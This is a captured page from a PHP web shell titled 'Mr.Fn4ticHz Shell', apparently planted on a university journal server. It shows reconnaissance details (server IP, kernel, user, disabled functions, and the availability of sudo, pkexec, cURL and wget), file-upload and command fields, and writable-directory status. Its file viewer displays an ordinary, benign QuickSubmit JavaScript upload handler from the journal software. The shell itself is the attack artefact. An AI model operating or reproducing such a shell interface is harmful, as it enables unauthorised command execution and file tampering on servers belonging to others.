Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.243.118
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/plugins/importexport/quickSubmit/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/plugins/importexport/quickSubmit/js/QuickSubmitFileUploadFormHandler.js
/**
 * @defgroup plugins_importexport_quickSubmit_js
 */
/**
 * @file js/QuickSubmitFileUploadFormHandler.js
 *
 * Copyright (c) 2014-2023 Simon Fraser University
 * Copyright (c) 2000-2023 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file LICENSE.
 *
 * @class QuickSubmitFileUploadFormHandler
 * @ingroup plugins_importexport_quickSubmit_js
 *
 * @brief QuickSubmit File upload form handler.
 */
(function($) {

	/** @type {Object} */
	$.pkp.plugins.importexport.quickSubmit =
			$.pkp.plugins.importexport.quickSubmit ||
			{ js: {} };



	/**
	 * @constructor
	 *
	 * @extends $.pkp.controllers.form.FileUploadFormHandler
	 *
	 * @param {jQueryObject} $form The wrapped HTML form element.
	 * @param {{
	 *  resetUploader: boolean,
	 *  $uploader: jQueryObject,
	 *  $preview: jQueryObject,
	 *  $extraAltText: jQueryObject,
	 *  uploaderOptions: Object
	 *  }} options Form validation options.
	 */
	$.pkp.plugins.importexport.quickSubmit.js.QuickSubmitFileUploadFormHandler =
			function($form, options) {

		this.parent($form, options);
		this.$extraAltText_ = options.$extraAltText;

	};
	$.pkp.classes.Helper.inherits(
			$.pkp.plugins.importexport.quickSubmit.js.QuickSubmitFileUploadFormHandler,
			$.pkp.controllers.form.FileUploadFormHandler);


	/**
	 * The file preview DOM element. A jQuery object when available
	 * @private
	 * @type {boolean|jQueryObject}
	 */
	$.pkp.plugins.importexport.quickSubmit.js.QuickSubmitFileUploadFormHandler.
			prototype.extraAltText_ = false;


	/**
	 * Handle the response of a "file upload" request.
	 * @param {Object} caller The original context in which the callback was called.
	 * @param {Object} pluploader The pluploader object.
	 * @param {Object} file The data of the uploaded file.
	 * @param {{response: string}} ret The serialized JSON response.
	 */
	$.pkp.plugins.importexport.quickSubmit.js.QuickSubmitFileUploadFormHandler.
			prototype.handleUploadResponse = function(caller, pluploader, file, ret) {

		// Handle the server's JSON response.
		var jsonData = /** @type {boolean|{uploadedFile: Object,
				temporaryFileId: string, content: string}} */
				(this.handleJson($.parseJSON(ret.response))),
				$uploadForm, $temporaryFileId;
		if (jsonData !== false) {
			// Trigger the file uploaded event.
			this.trigger('fileUploaded', [jsonData.uploadedFile]);

			// Hide preview if one exists
			if (this.$preview) {
				this.$preview.empty();
				$('[id^="imageAltText"]').each(function() {
					$(this).val('');
				});
				this.$extraAltText_.show();
			}

			if (jsonData.content === '') {
				// Successful upload to temporary file; save to main form.
				$uploadForm = this.getHtmlElement();
				$temporaryFileId = $uploadForm.find('#temporaryFileId');
				$temporaryFileId.val(jsonData.temporaryFileId);
			} else {
				// Display the revision confirmation form.
				this.getHtmlElement().replaceWith(jsonData.content);
			}
		}
	};


	/**
	 * Fires when the file has been removed
	 */
	$.pkp.plugins.importexport.quickSubmit.js.QuickSubmitFileUploadFormHandler.
			prototype.fileDeleted = function() {

		if (this.$preview) {
			this.$preview.empty();
			$('[id^="imageAltText"]').each(function() {
				$(this).val('');
			});
			this.$extraAltText_.show();
		}
	};

	/** @param {jQuery} $ jQuery closure. */
}(jQuery));

Mr.F4ticHz - 2022
Mr.Fn4tcHzam